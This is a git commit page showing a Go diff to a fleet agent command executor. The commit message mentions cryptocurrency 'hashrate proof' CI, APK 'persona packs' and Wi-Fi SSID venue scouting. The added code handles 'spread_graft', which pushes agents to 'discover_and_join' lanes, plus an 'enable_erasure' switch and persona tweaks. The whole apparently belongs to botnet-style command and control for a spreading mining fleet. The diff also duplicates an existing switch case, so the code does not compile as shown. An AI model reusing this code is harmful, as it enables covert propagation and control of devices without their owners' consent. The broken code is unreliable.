Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
AetherForge
2026-06-07 09:18:58 -07:00
parent 8b14582975
commit bbab38f8e1
60 changed files with 2610 additions and 43 deletions

View File

@@ -286,6 +286,16 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
return "fetch_module:" + module, nil
case fleetai.CmdReorderTiers:
return e.pushReorderTiers(agentID, args)
case fleetai.CmdSpreadGraft:
sourceID, _ := args["source_agent_id"].(string)
if sourceID == "" {
return "", fmt.Errorf("spread_graft requires source_agent_id")
}
graft, err := e.Hub.ApproveFleetGraft(sourceID, agentID)
if err != nil {
return "", err
}
return "spread_graft:" + graft.GraftTier, nil
case fleetai.CmdBulkCommand:
return e.runBulkCommand(args)
case fleetai.CmdAgentCommand:
@@ -303,6 +313,57 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
return "", err
}
return action, nil
case fleetai.CmdPersonaTweak:
persona, _ := args["persona"].(string)
if strings.TrimSpace(persona) == "" {
return "", fmt.Errorf("persona_tweak requires persona")
}
e.Hub.mu.Lock()
policy := e.Hub.serverPolicy
policy.AIPersona = fleetai.NormalizePersona(persona)
e.Hub.serverPolicy = policy
e.Hub.mu.Unlock()
return "persona:" + policy.AIPersona, nil
case fleetai.CmdEnableErasure:
e.Hub.mu.Lock()
policy := e.Hub.serverPolicy
policy.ErasureLanesEnabled = true
e.Hub.serverPolicy = policy
e.Hub.mu.Unlock()
return "erasure:on", nil
case fleetai.CmdSpreadGraft:
sourceID, _ := args["source_agent_id"].(string)
tier, _ := args["tier"].(string)
if strings.TrimSpace(sourceID) == "" {
return "", fmt.Errorf("spread_graft requires source_agent_id")
}
if e.Hub.db == nil {
return "", fmt.Errorf("database unavailable")
}
source, err := e.Hub.db.GetAgent(strings.TrimSpace(sourceID))
if err != nil || source == nil {
return "", fmt.Errorf("source agent not found")
}
skipTiers := []interface{}{}
if strings.TrimSpace(tier) != "" {
skipTiers = append(skipTiers, strings.TrimSpace(tier))
}
graftArgs := map[string]interface{}{"graft_source": sourceID, "graft_tier": tier}
if source.JoinLane != "" {
graftArgs["join_lane"] = source.JoinLane
}
if len(skipTiers) > 0 {
if err := e.pushReorderTiers(agentID, map[string]interface{}{"skip_tiers": skipTiers}); err != nil {
return "", err
}
}
if source.JoinLane != "" {
if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", map[string]interface{}{"lane": source.JoinLane}); err != nil {
return "", err
}
return "graft:" + source.JoinLane, nil
}
return "graft:recorded", nil
default:
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
return "", err